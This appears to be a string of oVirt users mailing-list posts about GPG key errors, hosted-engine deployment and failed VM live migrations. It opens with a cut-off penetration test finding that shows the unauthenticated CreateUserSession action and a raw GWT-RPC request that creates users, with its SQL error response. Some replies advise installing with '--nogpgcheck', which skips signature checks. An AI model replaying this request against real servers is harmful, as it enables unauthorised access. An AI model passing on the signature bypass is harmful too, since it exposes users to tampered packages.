*This action explicitly enables everyone to call it:*
```/
@Override
protected boolean isUserAuthorizedToRunAction() {
    return true;
}
/```

The behavior of this call differs based on the 
ENGINE_SSO_ENABLE_EXTERNAL_SSO configuration

option:

```

/boolean externalSsoEnabled =
EngineLocalConfig.getInstance().getBoolean("ENGINE_SSO_ENABLE_EXTERNAL_SSO");
  DbUser dbUser = externalSsoEnabled ?
dbUserDao.getByUsernameAndDomain(params.getPrincipalName(), authzName) :
    dbUserDao.getByExternalId(authzName, params.getPrincipalId());/

```

If this option is enabled, usernames are used to locate users. If it's 
disabled, the externalId

(which seems to be a randomly generated GUID) is used to locate users.
If the specified user exists, a session is returned for the user. If the 
specified user doesn't exist,
the user is created in the system. However, the user doesn't get 
assigned any group membership
or rights, therefore the session creation fails because of the missing 
Login right.
The attempt to modify the users table can be seen in the SQL error 
message when attempting to
use a null value for the username (as the endpoint uses GWT, the payload 
is mostly unreadable):


```

/POST /ovirt-engine/webadmin/GenericApiGWTService HTTP/1.1
Host: ovirtm.xxx.xxx.cz

14

Final Report: Results of penetration testing (internal, external, Wi-Fi)
21 December 2023

Cookie: JSESSIONID=wsp3WAo63LZGHfpB__stEt4lZ7z_zZycpzIprNlT.ovirtm45;
Content-Type: text/x-gwt-rpc; charset=utf-8
X-GWT-Module-Base: https://ovirtm.xxx.xx.cz/ovirt-engine/webadmin
X-GWT-Permutation: D7ECB5EF5E29205D18271CC08183A28D
Ovirt-Xsrf-Token: 
4D87D03B631F8506FC668AA4C3FE3F443D723A9F379FDBB8B0D6DA0668650375

Content-Length: 869

7|0|23|https://ovirtm.xxx.xxx.cz/ovirt-
engine/webadmin|0D1B4DEE9D1424E18C443F1CD1C11574|org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWT

Service|runAction|org.ovirt.engine.core.common.action.ActionType/2930387551|org.ovirt.engine.core.commo
n.action.ActionParametersBase/2903049429|org.ovirt.engine.core.common.action.CreateUserSessionParameter
s/2744166832|appScope|email|firstName|java.util.ArrayList/4159755760|lastName|namespace|principalId|adm
in|internal|sourceIp|ssoScope|ssoToken|org.ovirt.engine.core.common.action.ActionParametersBase$EndProc
edure/1568822488|java.util.Collections$EmptyMap/4174664486|org.ovirt.engine.core.common.businessentitie
s.VDSStatus/1938301532|org.ovirt.engine.core.compat.TransactionScopeOption/1475850853|1|2|3|4|2|5|6|5|2
01|7|0|8|9|10|11|0|12|13|14|0|16|17|18|19|0|5|0|0|0|0|20|1|0|11|0|0|0|0|0|0|21|0|-
4|22|0|1|0|1|23|2|0|0|0|
HTTP/1.1 200 OK
Date: Fri, 15 Dec 2023 09:42:35 GMT
Server: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k mod_auth_gssapi/1.6.1
Expires: Thu, 14 Dec 2023 09:42:35 GMT
Cache-Control: no-cache, no-store, must-revalidate
Set-Cookie: locale=cs_CZ; path=/; secure; HttpOnly; Max-Age=2147483647; 
Expires=Wed, 02-Jan-2092

12:56:42 GMT
X-XSS-PROTECTION: 1; MODE=BLOCK
Pragma: no-cache
X-FRAME-OPTIONS: SAMEORIGIN
Content-Disposition: attachment
X-CONTENT-TYPE-OPTIONS: NOSNIFF
Content-Length: 1794
Content-Type: application/json;charset=utf-8
Correlation-Id: 664c1c1f-9a75-4e14-94d7-aba12c5442f5
Connection: close
//OK[0,5,4,8,3,1,2,474,7,6,1,0,2,0,2,5,1,0,4,3,1,2,0,2,1,1,["org.ovirt.engine.core.common.action.Action
ReturnValue/4163585948","java.util.ArrayList/4159755760","java.lang.String/2004016611","ENGINE","","org
.ovirt.engine.core.common.errors.EngineFault/2377218566","org.ovirt.engine.core.common.errors.EngineErr
or/2640515959","ERROR: null value in column \"username\" violates 
not-null constraint\n Detail:
Failing row contains (6dad5e2f-7c95-4547-8f08-6936494c91b6, firstName, 
lastName, internal-authz, null,
, email, , f, principalId, 2023-12-14 17:51:04.757747+01, 2023-12-15 
10:42:35.125994+01, namespace,
firstName@internal-authz).\n Where: SQL statement \"UPDATE users\n SET 
department \u003D
v_department,\n domain \u003D v_domain,\n email \u003D v_email,\n name 
\u003D

v_name,\n note \u003D v_note,\n surname \u003D v_surname,\n username \u003D
v_username,\n external_id \u003D v_external_id,\n namespace \u003D 
v_namespace,\n
_update_date \u003D CURRENT_TIMESTAMP\n WHERE external_id \u003D 
v_external_id\n AND domain
\u003D v_domain\"\nPL/pgSQL function updateuserimpl(character 
varying,character varying,character
varying,character varying,character varying,character 
varying,uuid,character varying,text,character
varying) line 5 at SQL statement\nSQL statement \"SELECT 
UpdateUserImpl(\n v_department,\n

v_domain,\n v_email,\n v_name,\n v_note,\n v_surname,\n v_user_id,\n
v_username,\n v_external_id,\n v_namespace)\"\nPL/pgSQL

[ovirt-users] Re: ovirt-45-upstream GPG Key Error

[Jirka Simon]

Hello there,

I already finished my installation, but I can try it on sandbox.

Jirka


On 1/9/24 14:58, Lev Veyde wrote:

Hi Jirka and Matthew,

We think that we resolved the issue, which included re-signing the 
packages and re-creating the oVirt 4.5 yum repo.


Could you please try to re-fetch the packages in question and see if 
that solves the problem for you?


Thanks in advance and sorry for the issue,

On Tue, Jan 9, 2024 at 1:34 PM Jirka Simon  wrote:

Hi Matthew,

I reported this like 3 weeks ago :(

just use dnf  -y install ovirt-engine-appliance --nogpgcheck 
before hosted-engine --deploy

Jirka

On 1/8/24 17:14, Matthew J Black wrote:


Hi Jorge,

It's actually Rocky Linux v9.3 - I was using the term "RHEL"
genrically - I suppose I should have used "EL" or "RL" instead.

On 09/01/2024 00:20, Jorge Visentini wrote:

Hi.

Why don't you use the ISO and just install the hosts using it,
and then deploy the engine?
Why install on RHEL now... I've been using CentOS Stream 9 with
UEFI for about 6 months and everything is working...

Cheers!

Em seg., 8 de jan. de 2024 às 04:07, Matthew J Black
 escreveu:

Hi All,

We just picked up a GPG Key error when running `dnf install
ovirt-engine-appliance` in preparation of a fresh oVirt
v4.5.5 install on RL v9.3:

~~~
oVirt upstream for CentOS Stream 9 - oVirt 4.5            79
kB/s | 1.6 kB     00:00
Importing GPG key 0x24901D0C:
 Userid     : "oVirt "
 Fingerprint: 3C98 E81D B93D EA6D 54DE 690E 44E4 75CB 2490 1D0C
 From       : /etc/pki/rpm-gpg/RPM-GPG-KEY-oVirt-4.5
Is this ok [y/N]: y
Key imported successfully
Import of key(s) didn't help, wrong key(s)?
Public key for
ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64.rpm
is not installed. Failing package is:
ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64
 GPG Keys are configured as:
file:///etc/pki/rpm-gpg/RPM-GPG-KEY-oVirt-4.5
~~~

An error? An issue with the repo definition? Can it safely
be ignored (normally I'd say "No" but its from the oVirt
Tam's own repo...)? Is the fingerprint above the correct one
(and for that matter, where is the GPG Key's Fingerprint
recorded on the oVirt Website so that we can check
compliance ourselves)?

Anyway, thought I'd let people know (further details can be
provide upon request)

Cheers

Dulux-Oz
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[ovirt-users] Re: oVirt Self-Hosted Engine Deployment Error

[Jirka Simon]

Hi,

have you tried to run

|/usr/sbin/ovirt-hosted-engine-cleanup|

|before  re-run |hosted-engine --deploy

Jirka

On 1/9/24 07:59, Matthew J Black wrote:

Hi Guys,

New oVirt install using latest versions on a Rocky Linux v9.3 host.

We're getting the following error in the setup logs:

~~~
2024-01-09 17:14:53,977+1100 ERROR otopi.ovirt_hosted_engine_setup.ansible_utils ansible_utils._process_output:113 fatal: [localhost]: FAILED! => {"changed": true, "cmd": ["ip", "rule", "add", "from", "192.168.1.1/255.255.255.0", "priority", "101", 
"table", "main"], "delta": "0:00:00.002702", "end": "2024-01-09 17:14:53.680933", "msg": "non-zero return code", "rc": 2, "start": "2024-01-09 17:14:53.678231", "stderr": "RTNETLINK answers: File exists", 
"stderr_lines": ["RTNETLINK answers: File exists"], "stdout": "", "stdout_lines": []}
~~~

So, which file "RTNETLINK answers: File exists" and can I simply manually 
delete that file and re-run `hosted-engine --deploy`?

Cheers

Dulux-Oz
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[ovirt-users] Re: ovirt-45-upstream GPG Key Error

[Jirka Simon]

Hi Matthew,

I reported this like 3 weeks ago :(

just use dnf  -y install ovirt-engine-appliance --nogpgcheck  before 
hosted-engine --deploy


Jirka

On 1/8/24 17:14, Matthew J Black wrote:


Hi Jorge,

It's actually Rocky Linux v9.3 - I was using the term "RHEL" 
genrically - I suppose I should have used "EL" or "RL" instead.


On 09/01/2024 00:20, Jorge Visentini wrote:

Hi.

Why don't you use the ISO and just install the hosts using it, and 
then deploy the engine?
Why install on RHEL now... I've been using CentOS Stream 9 with UEFI 
for about 6 months and everything is working...


Cheers!

Em seg., 8 de jan. de 2024 às 04:07, Matthew J Black 
 escreveu:


Hi All,

We just picked up a GPG Key error when running `dnf install
ovirt-engine-appliance` in preparation of a fresh oVirt v4.5.5
install on RL v9.3:

~~~
oVirt upstream for CentOS Stream 9 - oVirt 4.5  79 kB/s | 1.6 kB 
   00:00
Importing GPG key 0x24901D0C:
 Userid     : "oVirt "
 Fingerprint: 3C98 E81D B93D EA6D 54DE 690E 44E4 75CB 2490 1D0C
 From       : /etc/pki/rpm-gpg/RPM-GPG-KEY-oVirt-4.5
Is this ok [y/N]: y
Key imported successfully
Import of key(s) didn't help, wrong key(s)?
Public key for
ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64.rpm is not
installed. Failing package is:
ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64
 GPG Keys are configured as:
file:///etc/pki/rpm-gpg/RPM-GPG-KEY-oVirt-4.5
~~~

An error? An issue with the repo definition? Can it safely be
ignored (normally I'd say "No" but its from the oVirt Tam's own
repo...)? Is the fingerprint above the correct one (and for that
matter, where is the GPG Key's Fingerprint recorded on the oVirt
Website so that we can check compliance ourselves)?

Anyway, thought I'd let people know (further details can be
provide upon request)

Cheers

Dulux-Oz
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[ovirt-users] Failed to validate GPG signature for ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64

[Jirka Simon]

Hello ovirt people,

please cloud you check ovirt-engine-appliance for centos stream 9?  it 
returns


ERROR ] fatal: [localhost]: FAILED! => {"attempts": 10, "changed": 
false, "msg": "Failed to validate GPG signature for 
ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64: Public key for 
ovirt-engine-appliance-4.5-20231201120201.1.el9.x86_64.rpm is not 
installed"}


it is possible to install it manually

with dnf  -y install ovirt-engine-appliance --nogpgcheck

jirka
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[ovirt-users] Re: Failed to migrate VM to Host ovirt3.XXX.cz due to an Error: Fatal error during migration. Trying to migrate to another Host.

[Jirka Simon]

Ahoj Jirko,

yes it is strange, I have  the same version on the newly installed 
cluster last week , there are nodes with centos 8 stream (viz my issue 
with sw raid during the install oVirt node NG) and it works properly and 
there newer qemu version.


rpm -qa qemu-kvm
qemu-kvm-6.2.0-41.module_el8+690+3a5f4f4f.x86_64

I'll try to reinstall this cluster form ovirt node NG to centos and I'll 
see, thank you for hints.



Jirka

On 14. 12. 23 16:47, Jiří Sléžka via Users wrote:

Hello,

On 12/14/23 15:22, Jirka Simon wrote:

  Thank you  Jean-Louis,

both  links are more then 1 year old

but if i try to downgrade kvm-qemu \

dnf downgrade qemu-kvm
Last metadata expiration check: 6:58:16 ago on Thu 14 Dec 2023 
08:09:13 AM CET.
Package qemu-kvm of lowest version already installed, cannot 
downgrade it.

Dependencies resolved.
Nothing to do.
Complete!


interesting, I upgraded to 4.5.5 recently but I have this version of 
qemu-kvm


rpm -q qemu-kvm
qemu-kvm-6.2.0-40.module+el8.9.0+1567+092638a5.1.x86_64

but my hosts are Rocky Linux 8 and I have no 
ovirt-release-master/ovirt-master-snapshot repos enabled on hosts, 
just centos-release-ovirt45 and migration works fine.


Cheers,

Jiri





jirka

On 14. 12. 23 13:54, Jean-Louis Dupond via Users wrote:



On 14/12/2023 13:17, Jirka Simon wrote:


source machine is clear, but the destination host (the updated)

Couldn't destroy incoming VM: Domain not found: no domain with 
matching uuid '77f85710-45e7-43ca


-b0f4-69f87766cc43' (vm:4054)

2023-12-14 12:35:44,492+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') underlying process 
disconnected (vm:1144)
2023-12-14 12:35:44,492+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Release VM resources 
(vm:5331)
2023-12-14 12:35:44,492+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Stopping connection 
(guestagent:421)
2023-12-14 12:35:44,493+0100 INFO  (libvirt/events) [vdsm.api] 
START teardownImage(sdUUID='6cff1d5a-3188-407c-b217-ab33d7b92476', 
spUUID='a6ecdb7b-f2d0-44e1-856a-2cf1be90d7bf', 
imgUUID='b7f47420-25d7-4
27f-8925-55f0fe565606', volUUID=None) from=internal, 
task_id=caf7cf3f-10a7-42d9-a576-441eff750af7 (api:31)
2023-12-14 12:35:44,493+0100 INFO  (libvirt/events) 
[storage.storagedomain] Removing image run directory 
'/run/vdsm/storage/6cff1d5a-3188-407c-b217-ab33d7b92476/b7f47420-25d7-427f-8925-55f0fe565606' 
(b

lockSD:1373)
2023-12-14 12:35:44,493+0100 INFO  (libvirt/events) 
[storage.fileutils] Removing directory: 
/run/vdsm/storage/6cff1d5a-3188-407c-b217-ab33d7b92476/b7f47420-25d7-427f-8925-55f0fe565606 
(fileUtils:195)
2023-12-14 12:35:44,528+0100 WARN  (vm/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Couldn't destroy 
incoming VM: Domain not found: no domain with matching uuid 
'77f85710-45e7-43ca

-b0f4-69f87766cc43' (vm:4054)
2023-12-14 12:35:44,529+0100 INFO  (vm/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Changed state to 
Down: VM destroyed during the startup (code=10) (vm:1744)
2023-12-14 12:35:44,530+0100 INFO  (vm/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Stopping connection 
(guestagent:421)
2023-12-14 12:35:44,535+0100 INFO  (jsonrpc/4) [api.virt] START 
destroy(gracefulAttempts=1) from=:::10.36.191.25,58054, 
flow_id=67218183, vmId=77f85710-45e7-43ca-b0f4-69f87766cc43(api:31)
2023-12-14 12:35:44,589+0100 INFO  (libvirt/events) [storage.lvm] 
Deactivating lvs: vg=6cff1d5a-3188-407c-b217-ab33d7b92476 
lvs=['9102f9dd-157c-4233-ac33-004f6c11ff73'] (lvm:1850)
2023-12-14 12:35:44,702+0100 INFO  (libvirt/events) [vdsm.api] 
FINISH teardownImage return=None from=internal, 
task_id=caf7cf3f-10a7-42d9-a576-441eff750af7 (api:37)
2023-12-14 12:35:44,703+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Stopping connection 
(guestagent:421)
2023-12-14 12:35:44,704+0100 WARN  (libvirt/events) [root] 
Attempting to remove a non existing net user: 
ovirtmgmt/77f85710-45e7-43ca-b0f4-69f87766cc43(libvirtnetwork:191)
2023-12-14 12:35:44,704+0100 INFO  (libvirt/events) [vdsm.api] 
START 
inappropriateDevices(thiefId='77f85710-45e7-43ca-b0f4-69f87766cc43') 
from=internal, task_id=5b362297-6aa7-4de3-8c49-3afaa0dc8cbe (ap

i:31)
2023-12-14 12:35:44,705+0100 INFO  (libvirt/events) [vdsm.api] 
FINISH inappropriateDevices return=None from=internal, 
task_id=5b362297-6aa7-4de3-8c49-3afaa0dc8cbe (api:37)
2023-12-14 12:35:44,706+0100 WARN  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') trying to set state 
to Down when already Down (vm:711)
2023-12-14 12:35:44,706+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Stopping connection 
(guestagen

[ovirt-users] Re: Failed to migrate VM to Host ovirt3.XXX.cz due to an Error: Fatal error during migration. Trying to migrate to another Host.

[Jirka Simon]

 Thank you  Jean-Louis,

both  links are more then 1 year old

but if i try to downgrade kvm-qemu \

dnf downgrade qemu-kvm
Last metadata expiration check: 6:58:16 ago on Thu 14 Dec 2023 08:09:13 
AM CET.

Package qemu-kvm of lowest version already installed, cannot downgrade it.
Dependencies resolved.
Nothing to do.
Complete!


jirka

On 14. 12. 23 13:54, Jean-Louis Dupond via Users wrote:



On 14/12/2023 13:17, Jirka Simon wrote:


source machine is clear, but the destination host (the updated)

Couldn't destroy incoming VM: Domain not found: no domain with 
matching uuid '77f85710-45e7-43ca


-b0f4-69f87766cc43' (vm:4054)

2023-12-14 12:35:44,492+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') underlying process 
disconnected (vm:1144)
2023-12-14 12:35:44,492+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Release VM resources 
(vm:5331)
2023-12-14 12:35:44,492+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Stopping connection 
(guestagent:421)
2023-12-14 12:35:44,493+0100 INFO  (libvirt/events) [vdsm.api] START 
teardownImage(sdUUID='6cff1d5a-3188-407c-b217-ab33d7b92476', 
spUUID='a6ecdb7b-f2d0-44e1-856a-2cf1be90d7bf', imgUUID='b7f47420-25d7-4
27f-8925-55f0fe565606', volUUID=None) from=internal, 
task_id=caf7cf3f-10a7-42d9-a576-441eff750af7 (api:31)
2023-12-14 12:35:44,493+0100 INFO  (libvirt/events) 
[storage.storagedomain] Removing image run directory 
'/run/vdsm/storage/6cff1d5a-3188-407c-b217-ab33d7b92476/b7f47420-25d7-427f-8925-55f0fe565606' 
(b

lockSD:1373)
2023-12-14 12:35:44,493+0100 INFO  (libvirt/events) 
[storage.fileutils] Removing directory: 
/run/vdsm/storage/6cff1d5a-3188-407c-b217-ab33d7b92476/b7f47420-25d7-427f-8925-55f0fe565606 
(fileUtils:195)
2023-12-14 12:35:44,528+0100 WARN  (vm/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Couldn't destroy 
incoming VM: Domain not found: no domain with matching uuid 
'77f85710-45e7-43ca

-b0f4-69f87766cc43' (vm:4054)
2023-12-14 12:35:44,529+0100 INFO  (vm/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Changed state to Down: 
VM destroyed during the startup (code=10) (vm:1744)
2023-12-14 12:35:44,530+0100 INFO  (vm/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Stopping connection 
(guestagent:421)
2023-12-14 12:35:44,535+0100 INFO  (jsonrpc/4) [api.virt] START 
destroy(gracefulAttempts=1) from=:::10.36.191.25,58054, 
flow_id=67218183, vmId=77f85710-45e7-43ca-b0f4-69f87766cc43(api:31)
2023-12-14 12:35:44,589+0100 INFO  (libvirt/events) [storage.lvm] 
Deactivating lvs: vg=6cff1d5a-3188-407c-b217-ab33d7b92476 
lvs=['9102f9dd-157c-4233-ac33-004f6c11ff73'] (lvm:1850)
2023-12-14 12:35:44,702+0100 INFO  (libvirt/events) [vdsm.api] FINISH 
teardownImage return=None from=internal, 
task_id=caf7cf3f-10a7-42d9-a576-441eff750af7 (api:37)
2023-12-14 12:35:44,703+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Stopping connection 
(guestagent:421)
2023-12-14 12:35:44,704+0100 WARN  (libvirt/events) [root] Attempting 
to remove a non existing net user: 
ovirtmgmt/77f85710-45e7-43ca-b0f4-69f87766cc43(libvirtnetwork:191)
2023-12-14 12:35:44,704+0100 INFO  (libvirt/events) [vdsm.api] START 
inappropriateDevices(thiefId='77f85710-45e7-43ca-b0f4-69f87766cc43') 
from=internal, task_id=5b362297-6aa7-4de3-8c49-3afaa0dc8cbe (ap

i:31)
2023-12-14 12:35:44,705+0100 INFO  (libvirt/events) [vdsm.api] FINISH 
inappropriateDevices return=None from=internal, 
task_id=5b362297-6aa7-4de3-8c49-3afaa0dc8cbe (api:37)
2023-12-14 12:35:44,706+0100 WARN  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') trying to set state to 
Down when already Down (vm:711)
2023-12-14 12:35:44,706+0100 INFO  (libvirt/events) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Stopping connection 
(guestagent:421)
2023-12-14 12:35:44,706+0100 INFO  (jsonrpc/4) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Can't undefine 
disconnected VM '77f85710-45e7-43ca-b0f4-69f87766cc43' (vm:2434)
2023-12-14 12:35:44,706+0100 INFO  (jsonrpc/4) [api.virt] FINISH 
destroy return={'status': {'code': 0, 'message': 'Machine 
destroyed'}} from=:::10.36.191.25,58054, flow_id=67218183, 
vmId=77f85710-4

5e7-43ca-b0f4-69f87766cc43(api:37)


When I tried to migrate it to the different host, it works. 
Unfortunetely no VM can be migrated to the affected host.


then i stopped vmId='77f85710-45e7-43ca-b0f4-69f87766cc43' and 
started it and it stared on affected host without any issue.



BUT when i tried to migrate out of the affected host and it fails as 
well, and there is the error message


2023-12-14 12:55:

[ovirt-users] Re: Failed to migrate VM to Host ovirt3.XXX.cz due to an Error: Fatal error during migration. Trying to migrate to another Host.

[Jirka Simon]

node,memdev instead
2023-12-14T11:55:37.613045Z qemu-kvm: Missing section footer for 
:00:01.3/piix4_pm
2023-12-14T11:55:37.613162Z qemu-kvm: load of migration failed: Invalid 
argument (migration:331)
2023-12-14 12:55:41,476+0100 INFO  (migsrc/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Switching from 
State.STARTED to State.FAILED (migration:229)
2023-12-14 12:55:41,476+0100 ERROR (migsrc/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Failed to migrate 
(migration:506)

Traceback (most recent call last):
  File "/usr/lib/python3.6/site-packages/vdsm/virt/migration.py", line 
480, in _regular_run

    time.time(), machineParams
  File "/usr/lib/python3.6/site-packages/vdsm/virt/migration.py", line 
580, in _startUnderlyingMigration

    self._perform_with_conv_schedule(duri, muri)
  File "/usr/lib/python3.6/site-packages/vdsm/virt/migration.py", line 
700, in _perform_with_conv_schedule

    self._perform_migration(duri, muri)
  File "/usr/lib/python3.6/site-packages/vdsm/virt/migration.py", line 
602, in _perform_migration

    self._dom.migrateToURI3(duri, params, flags)
  File "/usr/lib/python3.6/site-packages/vdsm/virt/virdomain.py", line 
162, in call

    return getattr(self._vm._dom, name)(*a, **kw)
  File "/usr/lib/python3.6/site-packages/vdsm/virt/virdomain.py", line 
104, in f

    ret = attr(*args, **kwargs)
  File 
"/usr/lib/python3.6/site-packages/vdsm/common/libvirtconnection.py", 
line 114, in wrapper

    ret = f(*args, **kwargs)
  File "/usr/lib/python3.6/site-packages/vdsm/common/function.py", line 
78, in wrapper

    return func(inst, *args, **kwargs)
  File "/usr/lib64/python3.6/site-packages/libvirt.py", line 2126, in 
migrateToURI3

    raise libvirtError('virDomainMigrateToURI3() failed')
libvirt.libvirtError: internal error: qemu unexpectedly closed the 
monitor: 2023-12-14T11:55:36.379991Z qemu-kvm: -numa 
node,nodeid=0,cpus=0-15,mem=1024: warning: Parameter -numa node,mem is 
deprecated, use -numa node,memdev instead
2023-12-14T11:55:37.613045Z qemu-kvm: Missing section footer for 
:00:01.3/piix4_pm
2023-12-14T11:55:37.613162Z qemu-kvm: load of migration failed: Invalid 
argument
2023-12-14 12:55:41,477+0100 INFO  (migsrc/77f85710) [virt.vm] 
(vmId='77f85710-45e7-43ca-b0f4-69f87766cc43') Enabling volume monitoring 
(thinp:72)
2023-12-14 12:55:41,485+0100 INFO  (jsonrpc/4) [api.virt] START 
getMigrationStatus() from=:::10.36.191.25,58054, flow_id=59e26abb, 
vmId=77f85710-45e7-43ca-b0f4-69f87766cc43 (api:31)
2023-12-14 12:55:41,485+0100 INFO  (jsonrpc/4) [api.virt] FINISH 
getMigrationStatus return={'status': {'code': 0, 'message': 'Done'}, 
'migrationStats': {'status': {'code': 12, 'message': 'Fatal error during 
migration'}, 'progress': 0}} from=:::10.36.191.25,58054, 
flow_id=59e26abb, vmId=77f85710-45e7-43ca-b0f4-69f87766cc43 (api:37)


on the affected  node,

rpm -qa qemu-kvm
qemu-kvm-6.2.0-41.module_el8+690+3a5f4f4f.x86_64

and on the old nodes are

rpm -qa qemu-kvm
qemu-kvm-6.2.0-20.module_el8.7.0+1218+f626c2ff.1.x86_64

Jirka


On 14. 12. 23 11:21, Jean-Louis Dupond wrote:

Best to look in the vdsm logs on both source and destination.
Engine gives no clues :)

Thanks

On 14/12/2023 11:12, Jirka Simon wrote:


Hello there,

after today's update I have  problem with live migration to this 
host.  with message



2023-12-14 10:00:01,089+01 INFO 
 [org.ovirt.engine.core.vdsbroker.monitoring.VmAnalyzer] 
(ForkJoinPool-1-worker-11) [67218183] VM 
'77f85710-45e7-43ca-b0f4-69f87766cc43'(ca1.access.prod.hq.sldev.cz) was
unexpectedly detected as 'Down' on VDS 
'044b7175-ca36-49b2-b01b-0253f9af7e4f'(ovirt3.corp.sldev.cz) 
(expected on '858b8951-9b5a-4b8f-994e-4e11788c34d6')
2023-12-14 10:00:01,090+01 INFO 
 [org.ovirt.engine.core.vdsbroker.vdsbroker.DestroyVDSCommand] 
(ForkJoinPool-1-worker-11) [67218183] START, 
DestroyVDSCommand(HostName = ovirt3.corp.sldev.cz, DestroyVmV
DSCommandParameters:{hostId='044b7175-ca36-49b2-b01b-0253f9af7e4f', 
vmId='77f85710-45e7-43ca-b0f4-69f87766cc43', secondsToWait='0', 
gracefully='false', reason='', ignoreNoVm='true'}), log id: 696e7f0e
2023-12-14 10:00:01,336+01 INFO 
 [org.ovirt.engine.core.vdsbroker.vdsbroker.DestroyVDSCommand] 
(ForkJoinPool-1-worker-11) [67218183] FINISH, DestroyVDSCommand, 
return: , log id: 696e7f0e
2023-12-14 10:00:01,337+01 INFO 
 [org.ovirt.engine.core.vdsbroker.monitoring.VmAnalyzer] 
(ForkJoinPool-1-worker-11) [67218183] VM 
'77f85710-45e7-43ca-b0f4-69f87766cc43'(ca1.access.prod.hq.sldev.cz) was
unexpectedly detected as 'Down' on VDS 
'044b7175-ca36-49b2-b01b-0253f9af7e4f'(ovirt3.corp.sldev.cz) 
(expec

[ovirt-users] Failed to migrate VM to Host ovirt3.XXX.cz due to an Error: Fatal error during migration. Trying to migrate to another Host.

[Jirka Simon]

Hello there,

after today's update I have  problem with live migration to this host.  
with message



2023-12-14 10:00:01,089+01 INFO 
 [org.ovirt.engine.core.vdsbroker.monitoring.VmAnalyzer] 
(ForkJoinPool-1-worker-11) [67218183] VM 
'77f85710-45e7-43ca-b0f4-69f87766cc43'(ca1.access.prod.hq.sldev.cz) was
unexpectedly detected as 'Down' on VDS 
'044b7175-ca36-49b2-b01b-0253f9af7e4f'(ovirt3.corp.sldev.cz) (expected 
on '858b8951-9b5a-4b8f-994e-4e11788c34d6')
2023-12-14 10:00:01,090+01 INFO 
 [org.ovirt.engine.core.vdsbroker.vdsbroker.DestroyVDSCommand] 
(ForkJoinPool-1-worker-11) [67218183] START, DestroyVDSCommand(HostName 
= ovirt3.corp.sldev.cz, DestroyVmV
DSCommandParameters:{hostId='044b7175-ca36-49b2-b01b-0253f9af7e4f', 
vmId='77f85710-45e7-43ca-b0f4-69f87766cc43', secondsToWait='0', 
gracefully='false', reason='', ignoreNoVm='true'}), log id: 696e7f0e
2023-12-14 10:00:01,336+01 INFO 
 [org.ovirt.engine.core.vdsbroker.vdsbroker.DestroyVDSCommand] 
(ForkJoinPool-1-worker-11) [67218183] FINISH, DestroyVDSCommand, return: 
, log id: 696e7f0e
2023-12-14 10:00:01,337+01 INFO 
 [org.ovirt.engine.core.vdsbroker.monitoring.VmAnalyzer] 
(ForkJoinPool-1-worker-11) [67218183] VM 
'77f85710-45e7-43ca-b0f4-69f87766cc43'(ca1.access.prod.hq.sldev.cz) was
unexpectedly detected as 'Down' on VDS 
'044b7175-ca36-49b2-b01b-0253f9af7e4f'(ovirt3.corp.sldev.cz) (expected 
on '858b8951-9b5a-4b8f-994e-4e11788c34d6')
2023-12-14 10:00:01,337+01 ERROR 
[org.ovirt.engine.core.vdsbroker.monitoring.VmAnalyzer] 
(ForkJoinPool-1-worker-11) [67218183] Migration of VM 
'ca1.access.prod.hq.sldev.cz' to host 'ovirt3.corp.sldev.c

z' failed: VM destroyed during the startup.

When I stop a VM and start it again it starts on affected without any 
problem, but migration doesn't work.



thank you for any help.


Jirka
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[ovirt-users] Re: Install oVirt node NG on SW raid

[Jirka Simon]

I used centos Stream8 instead of oVirt node NG and it works well.

i don't know why but i wans't able to change grub parameters. 
/etc/default/grub was modified


grub2-mkconfig-o  /boot/efi/EFI/centos/grub.cfg  was sucessfull
dracut -f -v --mdadmconf finished OK, but after restart there was old 
grub configuration. i spent wit it almost 3 days, then i decided to try 
centos instead of ovirt iso and it works. Thank yo Jirka


On 05. 12. 23 1:36, Patrick Dubois via Users wrote:
I run a small cluster of Rocky 9 hosts all provisioned with multiple 
Raid10 partitions spanning a range of disks. It works great but is 
also auto-provisioned with Raid10 in place, not modified after the fact.


My first thought is your initramfs is lacking the raid modules.

Works great for me and having raid10 across the board is handy.

Patrick.Dubois

On 2023-12-03 15:54, Jirka Simon wrote:

Hello oVirt folks,

is there any way to install oVirt node next with sw raid (mirror) I 
have two disks and i would like to use them for redundancy.


I know there is way to migrate from single disk to raid, 
